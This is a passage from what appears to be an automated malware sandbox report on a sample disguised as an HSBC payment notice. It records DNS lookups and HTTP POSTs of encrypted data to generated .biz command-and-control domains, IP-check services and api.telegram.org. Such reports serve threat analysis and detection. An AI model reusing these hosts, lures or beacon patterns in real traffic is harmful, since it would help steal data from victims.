Dec 11, 2024 09:26:15.356321096 CET	192.168.2.5	1.1.1.1	0xa56e	Standard query (0)	przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:17.197757959 CET	192.168.2.5	1.1.1.1	0xbba7	Standard query (0)	ww99.przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:20.725092888 CET	192.168.2.5	1.1.1.1	0x63c	Standard query (0)	ww12.przvgke.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:22.273940086 CET	192.168.2.5	1.1.1.1	0x5b64	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:25.131880045 CET	192.168.2.5	1.1.1.1	0x313c	Standard query (0)	zlenh.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:25.356894970 CET	192.168.2.5	1.1.1.1	0x2e04	Standard query (0)	knjghuig.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:28.635011911 CET	192.168.2.5	1.1.1.1	0xd30b	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:29.003189087 CET	192.168.2.5	1.1.1.1	0x67ce	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:29.220451117 CET	192.168.2.5	1.1.1.1	0xb5c6	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:27:14.800203085 CET	192.168.2.5	1.1.1.1	0xb4f	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:00.024872065 CET	192.168.2.5	1.1.1.1	0xfe9f	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:02.773384094 CET	192.168.2.5	1.1.1.1	0x9f19	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:06.460102081 CET	192.168.2.5	1.1.1.1	0xa470	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:08.323911905 CET	192.168.2.5	1.1.1.1	0x6a7	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:11.356839895 CET	192.168.2.5	1.1.1.1	0x6013	Standard query (0)	fwiwk.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 11, 2024 09:26:07.194257021 CET	1.1.1.1	192.168.2.5	0xb8f	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:09.239639044 CET	1.1.1.1	192.168.2.5	0x9442	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:10.094953060 CET	1.1.1.1	192.168.2.5	0x4a1e	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:11.964744091 CET	1.1.1.1	192.168.2.5	0x8665	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:13.096537113 CET	1.1.1.1	192.168.2.5	0x1690	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 09:26:13.096537113 CET	1.1.1.1	192.168.2.5	0x1690	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:13.096537113 CET	1.1.1.1	192.168.2.5	0x1690	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:13.096537113 CET	1.1.1.1	192.168.2.5	0x1690	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:13.096537113 CET	1.1.1.1	192.168.2.5	0x1690	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:13.096537113 CET	1.1.1.1	192.168.2.5	0x1690	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:14.045520067 CET	1.1.1.1	192.168.2.5	0xefbc	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:15.086813927 CET	1.1.1.1	192.168.2.5	0x944f	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:15.086813927 CET	1.1.1.1	192.168.2.5	0x944f	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:15.859508038 CET	1.1.1.1	192.168.2.5	0xa56e	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:15.859508038 CET	1.1.1.1	192.168.2.5	0xa56e	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:17.336075068 CET	1.1.1.1	192.168.2.5	0xbba7	No error (0)	ww99.przvgke.biz		72.52.179.174	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:21.128962040 CET	1.1.1.1	192.168.2.5	0x63c	No error (0)	ww12.przvgke.biz	084725.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 11, 2024 09:26:21.128962040 CET	1.1.1.1	192.168.2.5	0x63c	No error (0)	084725.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:21.128962040 CET	1.1.1.1	192.168.2.5	0x63c	No error (0)	084725.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:22.411789894 CET	1.1.1.1	192.168.2.5	0x5b64	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:25.355968952 CET	1.1.1.1	192.168.2.5	0x313c	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:25.977432013 CET	1.1.1.1	192.168.2.5	0x2e04	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:28.870990992 CET	1.1.1.1	192.168.2.5	0xd30b	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:29.216865063 CET	1.1.1.1	192.168.2.5	0x67ce	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:26:30.097273111 CET	1.1.1.1	192.168.2.5	0xb5c6	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:27:15.798722029 CET	1.1.1.1	192.168.2.5	0xb4f	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:00.579090118 CET	1.1.1.1	192.168.2.5	0xfe9f	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:03.530263901 CET	1.1.1.1	192.168.2.5	0x9f19	No error (0)	ifsaia.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:07.079525948 CET	1.1.1.1	192.168.2.5	0xa470	No error (0)	saytjshyf.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:08.902352095 CET	1.1.1.1	192.168.2.5	0x6a7	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:11.978425980 CET	1.1.1.1	192.168.2.5	0x6013	No error (0)	fwiwk.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Dec 11, 2024 09:28:11.978425980 CET	1.1.1.1	192.168.2.5	0x6013	No error (0)	fwiwk.biz		172.234.222.138	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

pywolwnvd.biz

ssbzmoy.biz

cvgrf.biz

checkip.dyndns.org

npukfztj.biz

przvgke.biz

ww99.przvgke.biz

ww12.przvgke.biz

knjghuig.biz

lpuegx.biz

vjaxhpbji.biz

xlfhhhm.biz

ifsaia.biz

saytjshyf.biz

vcddkls.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	54.244.188.177	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:07.415178061 CET	360	OUT	POST /ihnlsqbtrmkahnv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:07.415178061 CET	850	OUT	Data Raw: 33 22 6e 74 0f e8 51 63 46 03 00 00 eb c0 5e dc cd 68 6a 03 b4 92 ff 50 54 c7 5f 0e f2 5f 52 a1 20 77 fc 75 8d 2f 22 ca 88 2e ca eb 52 aa 3c b0 d1 4c 6f f4 46 22 72 77 87 1f 3b 61 d5 d5 ea 08 fb ce 17 ab 1c 38 94 c7 b2 a9 5d 66 53 2a 4d 68 64 34 Data Ascii: 3"ntQcF^hjPT__R wu/".R<LoF"rw;a8]fSMhd4`'dVsVrY<"A2f&LH+N\|!%,iihyB.w[)u1vqv$qn`R!nI\z+wL<9D
Dec 11, 2024 09:26:08.756006002 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:26:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9e6364b128142aad518b5fb15c7e6226\|8.46.123.175\|1733905568\|1733905568\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	54.244.188.177	80	1900	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:08.414887905 CET	361	OUT	POST /taohikdratudiqxk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 892
Dec 11, 2024 09:26:08.414907932 CET	892	OUT	Data Raw: c2 6a d9 07 fb da 7a 94 70 03 00 00 de f6 78 ec 1b ae 80 93 d0 99 ad 18 ea ad b0 d3 4e 97 d2 b2 49 dc fc db 85 03 6f 3d 24 a8 93 64 24 64 98 89 f7 40 68 53 17 25 f0 ae 5e 61 eb 0c d7 08 e0 1d 80 7a aa 09 b8 51 9c ec 0e 96 a7 5f c1 a1 4b ff 22 ca Data Ascii: jzpxNIo=$d$d@hS%^azQ_K"P92>?jc^Z,@<WAx;~&f^\|X>xle5g_`VL)[F?AWc*9d,oqtD^[ ;^?
Dec 11, 2024 09:26:09.952672005 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:26:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c8529f88a23a1473b2c4eb68005a87ca\|8.46.123.175\|1733905569\|1733905569\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	18.141.10.107	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:09.390573978 CET	346	OUT	POST /jji HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:09.390573978 CET	850	OUT	Data Raw: 67 06 df e1 23 b7 5e ee 46 03 00 00 d4 95 eb a2 59 06 3a 98 71 7f c0 19 25 16 4a 64 fa 49 7d d7 50 f2 d1 27 66 03 fd 67 11 28 40 1c 80 37 7e 4e 8c 06 ee 81 39 e1 a1 f3 0e df 98 1f f0 ef 11 6d 5e af 91 3b ff a6 0b de 1f 4c 07 64 3b 22 fa 68 09 03 Data Ascii: g#^FY:q%JdI}P'fg(@7~N9m^;Ld;"hngMuBHSpO~h@LqM10C~.(bg~R2AT/Tq{t {;`aJe'g>h4+6#}0 :!U{eV9{@!Z/Z
Dec 11, 2024 09:26:11.482453108 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:26:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=71d15fdeb3553ba37d25f6c980a76286\|8.46.123.175\|1733905571\|1733905571\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	18.141.10.107	80	1900	C:\Users\user\Desktop\HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:10.574706078 CET	355	OUT	POST /xxitmchctwqm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 892
Dec 11, 2024 09:26:10.574822903 CET	892	OUT	Data Raw: f3 1e 46 09 81 83 2d 50 70 03 00 00 29 40 4b d3 00 58 42 4d 41 d1 f9 1b 77 54 6d fa 3f 28 b0 48 15 59 6b b0 d4 ad a1 a9 36 12 6e 93 2f cb fc 10 e5 69 42 ba aa ef 60 37 c5 ad c9 79 0c 0b 39 94 62 2f ac 13 40 d6 50 bb 80 9e 49 94 01 a3 ee 60 81 ac Data Ascii: F-Pp)@KXBMAwTm?(HYk6n/iB`7y9b/@PI`C3pq,tFR>\"a'G4/xh/.@)hw;HG$$nKx$vElc1c/9.hx+6O'\|q
Dec 11, 2024 09:26:12.597376108 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:26:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ab5ba53552658635c603ec7ec592bdab\|8.46.123.175\|1733905572\|1733905572\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	54.244.188.177	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:12.181054115 CET	356	OUT	POST /yfypviummaqwyuq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:12.181054115 CET	850	OUT	Data Raw: 2c 64 c2 4c b2 9e ee 79 46 03 00 00 d2 73 76 d1 5d 10 5d 0d 1d f3 d8 be 79 7c 0e b3 56 de b2 20 5c 91 bf 40 09 e3 ff d6 b0 f9 17 5b f9 da 75 b0 4d df 84 ac fd 83 42 ab ce 9e b3 fc 76 0a 24 c5 ac 9d 55 7c a2 26 a7 7a f9 09 59 08 87 12 b5 3f 77 55 Data Ascii: ,dLyFsv]]y\|V \@[uMBv$U\|&zY?wUsK*,SKeg!+dB"wT4;+rO<'mE;Q`5%q%NAPv+}wpv8VFK,;h[:um=X;{p{F_1L
Dec 11, 2024 09:26:13.539892912 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:26:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=1896e6d0cf42eea53eefff63fe23976c\|8.46.123.175\|1733905573\|1733905573\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	193.122.6.168	80	7188	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:13.223695993 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 11, 2024 09:26:14.493051052 CET	321	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 08:26:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 468fbb04354184ba67f0ab6df26a887c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.175</body></html>
Dec 11, 2024 09:26:14.497525930 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 11, 2024 09:26:14.903294086 CET	321	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 08:26:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 84d48e61fb278cbdc904ffe996f14bfd Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.175</body></html>
Dec 11, 2024 09:26:21.864192009 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 11, 2024 09:26:22.270047903 CET	321	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 08:26:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1c313a9678119b57abce91e3559a0265 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.175</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49710	44.221.84.105	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:14.238643885 CET	353	OUT	POST /gjuvotllw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:14.238643885 CET	850	OUT	Data Raw: c5 d9 70 a4 cf ee e1 8a 46 03 00 00 b1 bd 72 94 29 79 b4 4d ee ef f7 93 52 90 ea 4d ea 9e 2f da 5c f0 41 45 c5 58 b5 87 df d2 e1 df 35 4e 38 5f 8a a9 07 36 60 88 e0 b8 63 ce 84 37 d6 e9 2a 3d cd 60 12 66 65 9e 13 22 29 41 46 0c 46 97 c5 50 fb 33 Data Ascii: pFr)yMRM/\AEX5N8_6`c7*=`fe")AFFP3Y"E6e7In8_[s^H,bf_FiqD7aPZQ}c}nE0w$'1 %O:3SeX+'>s~$xsr)],\|c
Dec 11, 2024 09:26:15.337960005 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Dec 2024 08:26:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=b3206ca6d5587b87fa637a002e02ea2c\|8.46.123.175\|1733905575\|1733905575\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.175; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49712	172.234.222.138	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:16.042012930 CET	348	OUT	POST /iwsxa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:16.042012930 CET	850	OUT	Data Raw: 2e d1 a4 a7 18 8b 53 46 46 03 00 00 89 f4 37 b3 7d 0a fc 98 68 dc d5 a9 4e 38 71 f8 fd b2 7e 49 c6 67 dd dc 04 e2 16 b5 e1 92 a5 37 ad 04 e8 24 c8 b7 b8 e3 63 be 1b 71 af 9b 59 d9 7e bd 15 50 e2 44 b9 5f 30 b6 c4 e5 ec 91 3b 7d 15 76 1c 99 18 20 Data Ascii: .SFF7}hN8q~Ig7$cqY~PD_0;}v AxWC1\^jO+&8H*e-:\|(==)1M'OO> V!gYW^CiACNWqO`^M@PMo0@{Y#?z`O.hr
Dec 11, 2024 09:26:17.188370943 CET	467	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 11 Dec 2024 08:26:17 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.przvgke.biz/iwsxa Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>
Dec 11, 2024 09:26:22.781728983 CET	357	OUT	POST /snsobwmcccpnrm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Dec 11, 2024 09:26:22.781763077 CET	850	OUT	Data Raw: ad 88 d4 44 2a 4b 20 e4 46 03 00 00 02 f0 e4 a2 ce 8a 88 05 65 33 3d 3b e4 5d c6 6c 56 9a d8 5e c1 bc d6 a2 eb e8 a2 ec 73 9d 3f c0 c6 f2 79 c7 11 e3 7f 6c d8 82 c1 2c 5a a3 c0 96 31 bf cd 75 64 fa 3d 66 df 1e 76 b5 57 e1 e5 57 07 68 50 5e 61 04 Data Ascii: DK Fe3=;]lV^s?yl,Z1ud=fvWWhP^a@t`f7>\gy=CV<#\ryry_,S@s!D?>+;al*KHe)]rlIF8C_">U,hadm$a{^yr,G-I
Dec 11, 2024 09:26:23.120907068 CET	476	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Wed, 11 Dec 2024 08:26:22 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.przvgke.biz/snsobwmcccpnrm Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49713	72.52.179.174	80	1972	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 09:26:17.465089083 CET	331	OUT	GET /iwsxa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Host: ww99.przvgke.biz
